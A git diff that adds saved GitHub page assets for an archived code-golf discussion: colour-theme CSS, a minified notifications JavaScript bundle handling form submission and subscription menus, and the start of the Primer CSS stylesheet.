#fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI 